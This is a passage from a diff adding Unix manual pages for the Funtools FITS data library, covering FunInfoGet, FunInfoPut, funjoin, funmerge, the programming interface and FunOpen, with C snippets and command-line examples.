be displayed to stderr by setting the idx_debug variable to 1 (in a filter
expression) or the FILTER_IDX_DEBUG environment variable to 1 (in the global
environment).
Currently, indexed filtering only works with FITS binary tables and raw
event files. It does not work with text files. This restriction might be
removed in a future release.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,226 @@
=pod
=head1 NAME
B<FunInfoGet - get information from Funtools struct>
=head1 SYNOPSIS
#include <funtools.h>
int FunInfoGet(Fun fun, int type, char *addr, ...)
=head1 DESCRIPTION
The B<FunInfoGet()> routine returns information culled from the
Funtools structure. The first argument is the Fun handle from which
information is to be retrieved. This first required argument is followed
by a variable length list of pairs of arguments. Each pair consists
of an integer representing the type of information to retrieve and the
address where the information is to be stored. The list is terminated by a 0.
The routine returns the number of get actions performed.
The full list of available information is described below. Please note
that only a few of these will be useful to most application developers.
For imaging applications, the most important types are:
FUN_SECT_DIM1 int /* dim1 for section */
FUN_SECT_DIM2 int /* dim2 for section */
FUN_SECT_BITPIX int /* bitpix for section */
These would be used to determine the dimensions and data type of image
data retrieved using the
FunImageGet() routine. For
example:
/* extract and bin the data section into an image buffer */
buf = FunImageGet(fun, NULL, NULL);
/* get required information from funtools structure.
this should come after the FunImageGet() call, in case the call
changed sect_bitpix */
FunInfoGet(fun,
FUN_SECT_BITPIX, &bitpix,
FUN_SECT_DIM1, &dim1,
FUN_SECT_DIM2, &dim2,
0);
/* loop through pixels and reset values below limit to value */
for(i=0; i<dim1*dim2; i++){
switch(bitpix){
case 8:
if( cbuf[i] <= blimit ) cbuf[i] = bvalue;
...
}
It is important to bear in mind that the call to
FunImageGet()
can change the value of FUN_SECT_BITPIX (e.g. if "bitpix=n" is passed
in the param list). Therefore, a call to
FunInfoGet()
should be made B<after> the call to
FunImageGet(),
in order to retrieve the updated bitpix value.
See the imblank example code for more
details.
It also can be useful to retrieve the World Coordinate System
information from the Funtools structure. Funtools uses the the WCS
Library developed by Doug Mink at SAO, which is available
here.
(More information about the WCSTools project in general can be found
here.)
The FunOpen() routine initializes
two WCS structures that can be used with this WCS Library.
Applications can retrieve either of these two WCS structures using
B<FunInfoGet()>:
FUN_WCS struct WorldCoor * /* wcs structure, for image coordinates*/
FUN_WCS0 struct WorldCoor * /* wcs structure, for physical coordinates */
The structure retrieved by FUN_WCS is a WCS library handle containing
parameters suitable for use with image coordinates, regardless of whether the
data are images or tables. For this structure, the WCS reference point
(CRPIX) has been converted to image coordinates if the underlying file
is a table (and therefore in physical coordinates). You therefore must
ensure that the positions being passed to a routine like pix2wcs are in
image coordinates. The FUN_WCS0 structure has not had its WCS
reference point converted to image coordinates. It therefore is useful
when passing processing physical coordinates from a table.
Once a WCS structure has been retrieved, it can be used as the first
argument to the WCS library routines. (If the structure is NULL, no
WCS information was contained in the file.) The two important WCS routines
that Funtools uses are:
#include <wcs.h&gt
void pix2wcs (wcs,xpix,ypix,xpos,ypos)
struct WorldCoor *wcs; /* World coordinate system structure */
double xpix,ypix; /* x and y coordinates in pixels */
double *xpos,*ypos; /* RA and Dec in degrees (returned) */
which converts pixel coordinates to sky coordinates, and:
void wcs2pix (wcs, xpos, ypos, xpix, ypix, offscl)
struct WorldCoor *wcs; /* World coordinate system structure */
double xpos,ypos; /* World coordinates in degrees */
double *xpix,*ypix; /* coordinates in pixels */
int *offscl; /* 0 if within bounds, else off scale */
which converts sky coordinates to pixel coordinates. Again, please note
that the wcs structure returned by FUN_WCS assumes that image coordinates
are passed to the pix2wcs routine, while FUN_WCS0 assumes that physical
coordinates are passed.
Note that funtools.h file automatically includes wcs.h. An example
program that utilizes these WCS structure to call WCS Library routines
is twcs.c.
The following is the complete list of information that can be returned:
name type comment
--------- -------- ---------------------------------------------
FUN_FNAME char * /* file name */
FUN_GIO GIO /* gio handle */
FUN_HEADER FITSHead /* fitsy header struct */
FUN_TYPE int /* TY_TABLE,TY_IMAGE,TY_EVENTS,TY_ARRAY */
FUN_BITPIX int /* bits/pixel in file */
FUN_MIN1 int /* tlmin of axis1 -- tables */
FUN_MAX1 int /* tlmax of axis1 -- tables */
FUN_MIN2 int /* tlmin of axis2 -- tables */
FUN_MAX2 int /* tlmax of axis2 -- tables */
FUN_DIM1 int /* dimension of axis1 */
FUN_DIM2 int /* dimension of axis2 */
FUN_ENDIAN int /* 0=little, 1=big endian */
FUN_FILTER char * /* supplied filter */
FUN_IFUN FITSHead /* pointer to reference header */
FUN_IFUN0 FITSHead /* same as above, but no reset performed */
/* image information */
FUN_DTYPE int /* data type for images */
FUN_DLEN int /* length of image in bytes */
FUN_DPAD int /* padding to end of extension */
FUN_DOBLANK int /* was blank keyword defined? */
FUN_BLANK int /* value for blank */
FUN_SCALED int /* was bscale/bzero defined? */
FUN_BSCALE double /* bscale value */
FUN_BZERO double /* bzero value */
/* table information */
FUN_NROWS int /* number of rows in file (naxis2) */
FUN_ROWSIZE int /* size of user row struct */
FUN_BINCOLS char * /* specified binning columns */
FUN_OVERFLOW int /* overflow detected during binning? */
/* array information */
FUN_SKIP int /* bytes to skip in array header */
/* section information */
FUN_SECT_X0 int /* low dim1 value of section */
FUN_SECT_X1 int /* hi dim1 value of section */
FUN_SECT_Y0 int /* low dim2 value of section */
FUN_SECT_Y1 int /* hi dim2 value of section */
FUN_SECT_BLOCK int /* section block factor */
FUN_SECT_BTYPE int /* 's' (sum), 'a' (average) for binning */
FUN_SECT_DIM1 int /* dim1 for section */
FUN_SECT_DIM2 int /* dim2 for section */
FUN_SECT_BITPIX int /* bitpix for section */
FUN_SECT_DTYPE int /* data type for section */
FUN_RAWBUF char * /* pointer to raw row buffer */
FUN_RAWSIZE int /* byte size of raw row records */
/* column information */
FUN_NCOL int /* number of row columns defined */
FUN_COLS FunCol /* array of row columns */
/* WCS information */
FUN_WCS struct WorldCoor * /* wcs structure, converted for images*/
FUN_WCS0 struct WorldCoor * /* wcs structure, not converted */
Row applications would not normally need any of this information.
An example of how these values can be used in more complex programs is
the evnext example code. In this program, the
time value for each row is changed to be the value of the succeeding
row. The program thus reads the time values for a batch of rows,
changes the time values to be the value for the succeeding row, and
then merges these changed time values back with the other columns to
the output file. It then reads the next batch, etc.
This does not work for the last row read in each batch, since there
is no succeeding row until the next batch is read. Therefore, the
program saves that last row until it has read the next batch, then
processes the former before starting on the new batch. In order to
merge the last row successfully, the code uses FUN_RAWBUF to save
and restore the raw input data associated with each batch of
rows. Clearly, this requires some information about how funtools
works internally. We are happy to help you write such programs as the
need arises.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,180 @@
=pod
=head1 NAME
B<FunInfoPut - put information into a Funtools struct>
=head1 SYNOPSIS
#include <funtools.h>
int FunInfoPut(Fun fun, int type, char *addr, ...)
=head1 DESCRIPTION
The B<FunInfoPut()> routine puts information into a Funtools
structure. The first argument is the Fun handle from which
information is to be retrieved. After this first required argument
comes a variable length list of pairs of arguments. Each pair consists
of an integer representing the type of information to store and the
address of the new information to store in the struct. The variable
list is terminated by a 0. The routine returns the number of put
actions performed.
The full list of available information is described above with the
FunInfoPut() routine. Although
use of this routine is expected to be uncommon, there is one
important situation in which it plays an essential part: writing
multiple extensions to a single output file.
For input, multiple extensions are handled by calling
FunOpen() for each extension to be
processed. When opening multiple inputs, it sometimes is the case that
you will want to process them and then write them (including their
header parameters) to a single output file. To accomplish this, you
open successive input extensions using
FunOpen() and then call
B<FunInfoPut()> to set the
Funtools reference handle
of the output file to that of the newly opened input extension:
/* open a new input extension */
ifun=FunOpen(tbuf, "r", NULL)) )
/* make the new extension the reference handle for the output file */
FunInfoPut(ofun, FUN_IFUN, &ifun, 0);
Resetting FUN_IFUN has same effect as when a funtools handle is passed
as the final argument to
FunOpen(). The state of the output
file is reset so that a new extension is ready to be written.
Thus, the next I/O call on the output extension will output the
header, as expected.
For example, in a binary table, after resetting FUN_IFUN you can then
call FunColumnSelect() to
select the columns for output. When you then call
FunImagePut() or <A
HREF="./library.html#funtablerowput">FunTableRowPut(), a new
extension will be written that contains the header parameters from the
reference extension. Remember to call
FunFlush() to complete output of a
given extension.
A complete example of this capability is given
in the evcol example code.
The central algorithm is:
=over 4
=item *
open the output file without a reference handle
=item *
loop: open each input extension in turn
=over 4
=item *
set the reference handle for output to the newly opened input extension
=item *
read the input rows or image and perform processing
=item *
write new rows or image to the output file
=item *
flush the output
=item *
close input extension
=back
=item *
close output file
=back
Note that FunFlush() is called
after processing each input extension in order to ensure that the
proper padding is written to the output file. A call to
FunFlush() also ensures that the
extension header is written to the output file in the case where there
are no rows to output.
If you wish to output a new extension without using a
Funtools reference handle, you can
call FunInfoPut() to reset the FUN_OPS value directly. For a binary
table, you would then call FunColumnSelect() to set up the columns for
this new extension.
/* reset the operations performed on this handle */
int ops=0;
FunInfoPut(ofun, FUN_OPS, &ops, 0);
FunColumnSelect(fun, sizeof(EvRec), NULL,
"MYCOL", "J", "w", FUN_OFFSET(Ev, mycol),
NULL);
Once the FUN_OPS variable has been reset, the next I/O call on the
output extension will output the header, as expected.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,233 @@
=pod
=head1 NAME
B<funjoin - join two or more FITS binary tables on specified columns>
=head1 SYNOPSIS
funjoin [switches] <ifile1> <ifile2> ... <ifilen> <ofile>
=head1 OPTIONS
-a cols # columns to activate in all files
-a1 cols ... an cols # columns to activate in each file
-b 'c1:bvl,c2:bv2' # blank values for common columns in all files
-bn 'c1:bv1,c2:bv2' # blank values for columns in specific files
-j col # column to join in all files
-j1 col ... jn col # column to join in each file
-m min # min matches to output a row
-M max # max matches to output a row
-s # add 'jfiles' status column
-S col # add col as status column
-t tol # tolerance for joining numeric cols [2 files only]
=head1 DESCRIPTION
B<funjoin> joins rows from two or more (up to 32)
FITS Binary Table files, based on the values
of specified join columns in each file. NB: the join columns must have
an index file associated with it. These files are generated using the
B<funindex> program.
The first argument to the program specifies the first input FITS table
or raw event file. If "stdin" is specified, data are read from the
standard input. Subsequent arguments specify additional event files
and tables to join. The last argument is the output FITS file.
NB: Do B<not> use Funtools Bracket
Notation to specify FITS extensions and row filters when running
funjoin or you will get wrong results. Rows are accessed and joined
using the index files directly, and this bypasses all filtering.
The join columns are specified using the B<-j col> switch (which
specifies a column name to use for all files) or with B<-j1 col1>,
B<-j2 col2>, ... B<-jn coln> switches (which specify a column
name to use for each file). A join column must be specified for each file.
If both B<-j col> and B<-jn coln> are specified for a given
file, then the latter is used. Join columns must either be of type
string or type numeric; it is illegal to mix numeric and string
columns in a given join. For example, to join three files using the
same key column for each file, use:
funjoin -j key in1.fits in2.fits in3.fits out.fits
A different key can be specified for the third file in this way:
funjoin -j key -j3 otherkey in1.fits in2.fits in3.fits out.fits
The B<-a "cols"> switch (and B<-a1 "col1">,
B<-a2 "cols2"> counterparts) can be used to specify columns to
activate (i.e. write to the output file) for each input file. By
default, all columns are output.
If two or more columns from separate files have the same name, the
second (and subsequent) columns are renamed to have an underscore
and a numeric value appended.
The B<-m min> and B<-M max> switches specify the minimum
and maximum number of joins required to write out a row. The default
minimum is 0 joins (i.e. all rows are written out) and the default maximum
is 63 (the maximum number of possible joins with a limit of 32 input files).
For example, to write out only those rows in which exactly two files
have columns that match (i.e. one join):
funjoin -j key -m 1 -M 1 in1.fits in2.fits in3.fits ... out.fits
A given row can have the requisite number of joins without all of the
files being joined (e.g. three files are being joined but only two
have a given join key value). In this case, all of the columns of the
non-joined file are written out, by default, using blanks (zeros or NULLs).
The B<-b c1:bv1,c2:bv2> and
B<-b1 'c1:bv1,c2:bv2' -b2 'c1:bv1,c2:bv2' ...>
switches can be used to set the blank value for columns common to all
files and/or columns in a specified file, respectively. Each blank value
string contains a comma-separated list of column:blank_val specifiers.
For floating point values (single or double), a case-insensitive string
value of "nan" means that the IEEE NaN (not-a-number) should be
used. Thus, for example:
funjoin -b "AKEY:???" -b1 "A:-1" -b3 "G:NaN,E:-1,F:-100" ...
means that a non-joined AKEY column in any file will contain the
string "???", the non-joined A column of file 1 will contain a value
of -1, the non-joined G column of file 3 will contain IEEE NaNs, while
the non-joined E and F columns of the same file will contain values -1
and -100, respectively. Of course, where common and specific blank values
are specified for the same column, the specific blank value is used.
To distinguish which files are non-blank components of a given row,
the B<-s> (status) switch can be used to add a bitmask column named
"JFILES" to the output file. In this column, a bit is set for each
non-blank file composing the given row, with bit 0 corresponds to the
first file, bit 1 to the second file, and so on. The file names
themselves are stored in the FITS header as parameters named JFILE1,
JFILE2, etc. The B<-S col> switch allows you to change the name
of the status column from the default "JFILES".
A join between rows is the Cartesian product of all rows in one file
having a given join column value with all rows in a second file having
the same value for its join column and so on. Thus, if file1 has 2
rows with join column value 100, file2 has 3 rows with the same value,
and file3 has 4 rows, then the join results in 2*3*4=24 rows being output.
The join algorithm directly processes the index file associated with
the join column of each file. The smallest value of all the current
columns is selected as a base, and this value is used to join
equal-valued columns in the other files. In this way, the index files
are traversed exactly once.
The B<-t tol> switch specifies a tolerance value for numeric
columns. At present, a tolerance value can join only two files at a
time. (A completely different algorithm is required to join more than
two files using a tolerance, somethng we might consider implementing
in the future.)
The following example shows many of the features of funjoin. The input files
t1.fits, t2.fits, and t3.fits contain the following columns:
[sh] fundisp t1.fits
AKEY KEY A B
----------- ------ ------ ------
aaa 0 0 1
bbb 1 3 4
ccc 2 6 7
ddd 3 9 10
eee 4 12 13
fff 5 15 16
ggg 6 18 19
hhh 7 21 22
fundisp t2.fits
AKEY KEY C D
----------- ------ ------ ------
iii 8 24 25
ggg 6 18 19
eee 4 12 13
ccc 2 6 7
aaa 0 0 1
fundisp t3.fits
AKEY KEY E F G
------------ ------ -------- -------- -----------
ggg 6 18 19 100.10
jjj 9 27 28 200.20
aaa 0 0 1 300.30
ddd 3 9 10 400.40
Given these input files, the following funjoin command:
funjoin -s -a1 "-B" -a2 "-D" -a3 "-E" -b \
"AKEY:???" -b1 "AKEY:XXX,A:255" -b3 "G:NaN,E:-1,F:-100" \
-j key t1.fits t2.fits t3.fits foo.fits
will join the files on the KEY column, outputting all columns except B
(in t1.fits), D (in t2.fits) and E (in t3.fits), and setting blank
values for AKEY (globally, but overridden for t1.fits) and A (in file
1) and G, E, and F (in file 3). A JFILES column will be output to
flag which files were used in each row:
AKEY KEY A AKEY_2 KEY_2 C AKEY_3 KEY_3 F G JFILES
------------ ------ ------ ------------ ------ ------ ------------ ------ -------- ----------- --------
aaa 0 0 aaa 0 0 aaa 0 1 300.30 7
bbb 1 3 ??? 0 0 ??? 0 -100 nan 1
ccc 2 6 ccc 2 6 ??? 0 -100 nan 3
ddd 3 9 ??? 0 0 ddd 3 10 400.40 5
eee 4 12 eee 4 12 ??? 0 -100 nan 3
fff 5 15 ??? 0 0 ??? 0 -100 nan 1
ggg 6 18 ggg 6 18 ggg 6 19 100.10 7
hhh 7 21 ??? 0 0 ??? 0 -100 nan 1
XXX 0 255 iii 8 24 ??? 0 -100 nan 2
XXX 0 255 ??? 0 0 jjj 9 28 200.20 4
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,542 @@
=pod
=head1 NAME
B<FunLib: the Funtools Programming Interface>
=head1 SYNOPSIS
A description of the Funtools library.
=head1 DESCRIPTION
B<Introduction to the Funtools Programming Interface>
To create a Funtools application, you need to include
the funtools.h definitions file in your code:
#include <funtools.h>
You then call Funtools subroutines and functions to access Funtools data.
The most important routines are:
=over 4
=item *
FunOpen: open a Funtools file
=item *
FunInfoGet: get info about an image or table
=item *
FunImageGet: retrieve image data
=item *
FunImageRowGet: retrieve image data by row
=item *
FunImagePut: output image data
=item *
FunImageRowPut: output image data by row
=item *
FunColumnSelect: select columns in a table for access
=item *
FunTableRowGet: retrieve rows from a table
=item *
FunTableRowPut: output rows to a table
=item *
FunClose: close a Funtools file
=back
Your program must be linked against the libfuntools.a library,
along with the math library. The following libraries also might be required
on your system:
=over 4
=item *
-lsocket -lnsl for socket support
=item *
-ldl for dynamic loading
=back
For example, on a Solaris system using gcc, use the following link line:
gcc -o foo foo.c -lfuntools -lsocket -lnsl -ldl -lm
On a Solaris system using Solaris cc, use the following link line:
gcc -o foo foo.c -lfuntools -lsocket -lnsl -lm
On a Linux system using gcc, use the following link line:
gcc -o foo foo.c -lfuntools -ldl -lm
Once configure has built a Makefile on your platform, the required
"extra" libraries (aside from -lm, which always is required) are
specified in that file's EXTRA_LIBS variable. For example, under
Linux you will find:
grep EXTRA_LIBS Makefile
EXTRA_LIBS = -ldl
...
The Funtools library contains both the zlib library
(http://www.gzip.org/zlib/) and Doug Mink's WCS library
(http://tdc-www.harvard.edu/software/wcstools/). It is not necessary
to put these libraries on a Funtools link line. Include files
necessary for using these libraries are installed in the Funtools
include directory.
B<Funtools Programming Tutorial>
The
FunOpen()
function is used to open a FITS file, an array, or a raw event file:
/* open the input FITS file for reading */
ifun = FunOpen(iname, "r", NULL);
/* open the output FITS file for writing, and connect it to the input file */
ofun = FunOpen(iname, "w", ifun);
A new output file can inherit header parameters automatically from
existing input file by passing the input Funtools handle as the last
argument to the new file's
FunOpen()
call as shown above.
For image data, you then can call
FunImageGet()
to read an image into memory.
float buf=NULL;
/* extract and bin the data section into an image buffer */
buf = FunImageGet(fun, NULL, "bitpix=-32");
If the (second) buf argument to this call is NULL, buffer space is allocated
automatically. The (third) plist argument can be used to specify the
return data type of the array. If NULL is specified, the data type of
the input file is used.
To process an image buffer, you would generally make a call to
FunInfoGet() to determine the
dimensions of the image (which may have been changed from the original
file dimensions due to Funtools image
sectioning on the command line). In a FITS image, the index along
the dim1 axis varies most rapidly, followed by the dim2 axis, etc.
Thus, to access each pixel in an 2D image, use a double loop such as:
buf = FunImageGet(fun, NULL, "bitpix=-32");
FunInfoGet(fun, FUN_SECT_DIM1, &dim1, FUN_SECT_DIM2, &dim2, 0);
for(i=1; i<=dim2; i++){
for(j=1; j<=dim1; j++){
... process buf[((i-1)*dim1)+(j-1)] ...
}
}
or:
buf = FunImageGet(fun, NULL, "bitpix=-32");
FunInfoGet(fun, FUN_SECT_DIM1, &dim1, FUN_SECT_DIM2, &dim2, 0);
for(i=0; i<(dim1*dim2); i++){
... process buf[i] ...
}
Finally, you can write the resulting image to disk using
FunImagePut():
FunImagePut(fun2, buf, dim1, dim2, -32, NULL);
Note that Funtools automatically takes care of book-keeping tasks such as
reading and writing FITS headers (although you can, of course, write
your own header or add your own parameters to a header).
For binary tables and raw event files, a call to
FunOpen()
will be followed by a call to the
FunColumnSelect()
routine to select columns to be read from the input file and/or
written to the output file:
typedef struct evstruct{
double time;
int time2;
} *Ev, EvRec;
FunColumnSelect(fun, sizeof(EvRec), NULL,
"time", "D", "rw", FUN_OFFSET(Ev, time),
"time2", "J", "w", FUN_OFFSET(Ev, time2),
NULL);
Columns whose (third) mode argument contains an "r" are "readable",
i.e., columns will be read from the input file and converted into the
data type specified in the call's second argument. These columns
values then are stored in the specified offset of the user record
structure. Columns whose mode argument contains a "w" are
"writable", i.e., these values will be written to the output file.
The
FunColumnSelect()
routine also offers the option of automatically merging user
columns with the original input columns when writing the output
rows.
Once a set of columns has been specified, you can retrieve rows using
FunTableRowGet(),
and write the rows using
FunTableRowPut():
Ev ebuf, ev;
/* get rows -- let routine allocate the array */
while( (ebuf = (Ev)FunTableRowGet(fun, NULL, MAXROW, NULL, &got)) ){
/* process all rows */
for(i=0; i<got; i++){
/* point to the i'th row */
ev = ebuf+i;
/* time2 is generated here */
ev->time2 = (int)(ev->time+.5);
/* change the input time as well */
ev->time = -(ev->time/10.0);
}
/* write out this batch of rows with the new column */
FunTableRowPut(fun2, (char *)ebuf, got, 0, NULL);
/* free row data */
if( ebuf ) free(ebuf);
}
The input rows are retrieved into an array of user structs, which
can be accessed serially as shown above. Once again, Funtools
automatically takes care of book-keeping tasks such as reading and writing
FITS headers (although you can, of course, write your own header or
add your own parameters to a header).
When all processing is done, you can call
FunClose()
to close the file(s):
FunClose(fun2);
FunClose(fun);
These are the basics of processing FITS files (and arrays or raw event
data) using Funtools. The routines in these examples are described in
more detail below, along with a few other routines that support
parameter access, data flushing, etc.
B<Compiling and Linking>
To create a Funtools application, a software developer will include
the funtools.h definitions file in Funtools code:
#include <funtools.h>
The program is linked against the libfuntools.a library, along with the
math library (and the dynamic load library, if the latter is available
on your system):
gcc -o foo foo.c -lfuntools -ldl -lm
If gcc is used, Funtools filtering can be performed using dynamically
loaded shared objects that are built at run-time. Otherwise, filtering
is performed using a slave process.
Funtools has been built on the following systems:
=over 4
=item *
Sun/Solaris 5.X
=item *
Linux/RedHat Linux 5.X,6.X,7.X
=item *
Dec Alpha/OSF1 V4.X
=item *
WindowsNT/Cygwin 1.0
=item *
SGI/IRIX64 6.5
=back
B<A Short Digression on Subroutine Order>
There is a natural order for all I/O access libraries. You would not
think of reading a file without first opening it, or writing a file
after closing it. A large part of the experiment in funtools is to use
the idea of "natural order" as a means of making programming
easier. We do this by maintaining the state of processing for a given
funtools file, so that we can do things like write headers and flush
extension padding at the right time, without you having to do it.
For example, if you open a new funtools file for writing using
FunOpen(),
then generate an array of image data and call
FunImagePut(),
funtools knows to write the image header automatically.
There is no need to think about writing a standard header.
Of course, you can add parameters to the file first by
calling one of the
FunParamPut()
routines, and these parameters will automatically be added
to the header when it is written out. There still is no
need to write the header explicitly.
Maintaining state in this way means that there are certain rules of
order which should be maintained in any funtools program. In particular,
we strongly recommend the following ordering rules be adhered to:
=over 4
=item *
When specifying that input extensions be copied to an output file
via a reference handle, open the output file B<before> reading the
input file. (Otherwise the initial copy will not occur).
=item *
Always write parameters to an output file using one of the
FunParamPut() calls
B<before> writing any data. (This is a good idea for all FITS
libraries, to avoid having to recopy data is the FITS header needs
to be extended by adding a single parameter.)
=item *
If you retrieve an image, and need to know the data
type, use the FUN_SECT_BITPIX option of
FunInfoGet(),
B<after> calling
FunImageGet(), since
it is possible to change the value of BITPIX from the latter.
=item *
When specifying that input extensions be copied to an output file
via a reference handle, close the output file B<before> closing
input file, or else use
FunFlush()
explicitly on the output file
B<before> closing the input file. (Otherwise the final copy will
not occur).
=back
We believe that these are the natural rules that are implied in most
FITS programming tasks. However, we recognize that making explicit use
of "natural order" to decide what automatic action to take on behalf
of the programmer is experimental. Therefore, if you find that your
needs are not compatible with our preferred order, please let us know
-- it will be most illuminating for us as we evaluate this experiment.
B<Funtools Programming Examples>
The following complete coding examples are provided to illustrate the
simplicity of Funtools applications. They can be found in the funtest
subdirectory of the Funtools distribution. In many cases, you should
be able to modify one of these programs to generate your own Funtools
program:
=over 4
=item *
evread.c: read and write binary tables
=item *
evcols.c: add column and rows to binary tables
=item *
evmerge.c: merge new columns with existing columns
=item *
evnext.c: manipulate raw data pointers
=item *
imblank.c: blank out image values below a threshold
=item *
asc2fits.c: convert a specific ASCII table to FITS binary table
=back
B<The Funtools Programming Reference Manual>
#include <funtools.h>
Fun FunOpen(char *name, char *mode, Fun ref)
void *FunImageGet(Fun fun, void *buf, char *plist)
int FunImagePut(Fun fun, void *buf, int dim1, int dim2, int bitpix, char *plist)
void * FunImageRowGet(Fun fun, void *buf, int rstart, int rstop, char *plist)
void * FunImageRowPut(Fun fun, void *buf, int rstart, int rstop, int dim1, int dim2, int bitpix, char *plist)
int FunColumnSelect(Fun fun, int size, char *plist, ...)
void FunColumnActivate(Fun fun, char *s, char *plist)
int FunColumnLookup(Fun fun, char *s, int which, char **name, int *type, int *mode, int *offset, int *n, int *width)
void *FunTableRowGet(Fun fun, void *rows, int maxrow, char *plist, int *nrow)
int FunTableRowPut(Fun fun, void *rows, int nev, int idx, char *plist)
int FunParamGetb(Fun fun, char *name, int n, int defval, int *got)
int FunParamGeti(Fun fun, char *name, int n, int defval, int *got)
double FunParamGetd(Fun fun, char *name, int n, double defval, int *got)
char *FunParamGets(Fun fun, char *name, int n, char *defval, int *got)
int FunParamPutb(Fun fun, char *name, int n, int value, char *comm, int append)
int FunParamPuti(Fun fun, char *name, int n, int value, char *comm, int append)
int FunParamPutd(Fun fun, char *name, int n, double value, int prec, char *comm, int append)
int FunParamPuts(Fun fun, char *name, int n, char *value, char *comm, int append)
int FunInfoGet(Fun fun, int type, ...)
int FunInfoPut(Fun fun, int type, ...)
void FunFlush(Fun fun, char *plist)
void FunClose(Fun fun)
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,122 @@
=pod
=head1 NAME
B<funmerge - merge one or more Funtools table files>
=head1 SYNOPSIS
funmerge [-w|-x] -f [colname] <iname1> <iname2> ... <oname>
=head1 OPTIONS
-f # output a column specifying file from which this event came
-w # adjust position values using WCS info
-x # adjust position values using WCS info and save old values
=head1 DESCRIPTION
B<funmerge> merges FITS data from one or more
FITS Binary Table files
or raw event files.
The first argument to the program specifies the first input FITS table
or raw event file. If "stdin" is specified, data are read from the
standard input. Use Funtools Bracket
Notation to specify FITS extensions and row filters. Subsequent
arguments specify additional event files and tables to merge. (NB: Stdin
cannot not be used for any of these additional input file arguments.)
The last argument is the output FITS file. The columns in each input table
must be identical.
If an input file begins with the '@' character, it is processed as an
include file, i.e., as a text file containing event file names (as
well as blank lines and/or comment lines starting with the '#' sign).
If standard input is specified as an include file ('@stdin'), then
file names are read from the standard input until EOF (^D). Event
files and include files can be mixed on a command line.
Rows from each table are written sequentially to the output
file. If the switch B<-f [colname]> is specified on the command
line, an additional column is added to each row containing the number
of the file from which that row was taken (starting from one). In
this case, the corresponding file names are stored in the header
parameters having the prefix B<FUNFIL>, i.e., FUNFIL01,
FUNFIL02, etc.
Using the B<-w> switch (or B<-x> switch as described
below), B<funmerge> also can adjust the position column values
using the WCS information in each file. (By position columns, we mean
the columns that the table is binned on, i.e., those columns defined
by the B<bincols=> switch, or (X,Y) by default.) To perform WCS
alignment, the WCS of the first file is taken as the base WCS. Each
position in subsequent files is adjusted by first converting it to the
sky coordinate in its own WCS coordinate system, then by converting
this sky position to the sky position of the base WCS, and finally
converting back to a pixel position in the base system. Note that in
order to perform WCS alignment, the appropriate WCS and TLMIN/TLMAX
keywords must already exist in each FITS file.
When performing WCS alignment, you can save the original positions in
the output file by using the B<-x> (for "xtra") switch instead
of the B<-w> switch (i.e., using this switch also implies using
B<-w>) The old positions are saved in columns having the same
name as the original positional columns, with the added prefix "OLD_".
Examples:
Merge two tables, and preserve the originating file number for
each row in the column called "FILE" (along with the corresponding
file name in the header):
[sh] funmerge -f "FILE" test.ev test2.ev merge.ev
Merge two tables with WCS alignment, saving the old position values in
2 additional columns:
[sh] funmerge -x test.ev test2.ev merge.ev
This program only works on raw event files and binary tables. We have
not yet implemented image and array merging.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,166 @@
=pod
=head1 NAME
B<FunOpen - open a Funtools data file>
=head1 SYNOPSIS
#include <funtools.h>
Fun FunOpen(char *name, char *mode, Fun ref);
=head1 DESCRIPTION
The B<FunOpen()> routine opens a Funtools data file for reading or
appending, or creates a new FITS file for writing. The B<name>
argument specifies the name of the Funtools data file to open. You can
use IRAF-style bracket notation to specify
Funtools Files, Extensions, and Filters.
A separate call should be made each time a different FITS extension is
accessed:
Fun fun;
char *iname;
...
if( !(fun = FunOpen(iname, "r", NULL)) ){
fprintf(stderr, "could not FunOpen input file: %s\n", iname);
exit(1);
}
If B<mode> is "r", the file is opened for reading, and processing
is set up to begin at the specified extension. For reading,
B<name> can be B<stdin>, in which case the standard input is read.
If B<mode> is "w", the file is created if it does not exist, or
opened and truncated for writing if it does exist. Processing starts
at the beginning of the file. The B<name> can be B<stdout>,
in which case the standard output is readied for processing.
If B<mode> is "a", the file is created if it does not exist, or
opened if it does exist. Processing starts at the end of the file.
The B<name> can be B<stdout>, in which case the standard
output is readied for processing.
When a Funtools file is opened for writing or appending, a previously
opened Funtools reference
handle can be specified as the third argument. This handle
typically is associated with the input Funtools file that will be used
to generate the data for the output data. When a reference file is
specified in this way, the output file will inherit the (extension)
header parameters from the input file:
Fun fun, fun2;
...
/* open input file */
if( !(fun = FunOpen(argv[1], "r", NULL)) )
gerror(stderr, "could not FunOpen input file: %s\n", argv[1]);
/* open the output FITS image, inheriting params from input */
if( !(fun2 = FunOpen(argv[2], "w", fun)) )
gerror(stderr, "could not FunOpen output file: %s\n", argv[2]);
Thus, in the above example, the output FITS binary table file will
inherit all of the parameters associated with the input binary table
extension.
A file opened for writing with a
Funtools reference handle also
inherits the selected columns (i.e. those columns chosen for
processing using the
FunColumnSelect() routine)
from the reference file as its default columns. This makes it easy to
open an output file in such a way that the columns written to the
output file are the same as the columns read in the input file. Of
course, column selection can easily be tailored using the
FunColumnSelect() routine.
In particular, it is easy to merge user-defined columns with the input
columns to generate a new file. See the
evmerge for a complete example.
In addition, when a
Funtools reference handle
is supplied in a FunOpen() call,
it is possible also to specify that all other extensions from the
reference file (other than the input extension being processed) should
be copied from the reference file to the output file. This is useful,
for example, in a case where you are processing a FITS binary table
or image and you want to copy all of the other extensions to
the output file as well. Copy of other extensions is controlled by
adding a "C" or "c" to the mode string of the
FunOpen() call of the input
reference file. If "C" is specified, then other extensions are
B<always> copied (i.e., copy is forced by the application). If
"c" is used, then other extensions are copied if the user requests
copying by adding a plus sign "+" to the extension name in the bracket
specification. For example, the B<funtable> program utilizes
"c" mode, giving users the option of copying all other extensions:
/* open input file -- allow user copy of other extensions */
if( !(fun = FunOpen(argv[1], "rc", NULL)) )
gerror(stderr, "could not FunOpen input file: %s\n", argv[1]);
/* open the output FITS image, inheriting params from input */
if( !(fun2 = FunOpen(argv[2], "w", fun)) )
gerror(stderr, "could not FunOpen output file: %s\n", argv[2]);
Thus, B<funtable> supports either of these command lines:
# copy only the EVENTS extension
csh> funtable "test.ev[EVENTS,circle(512,512,10)]" foo.ev
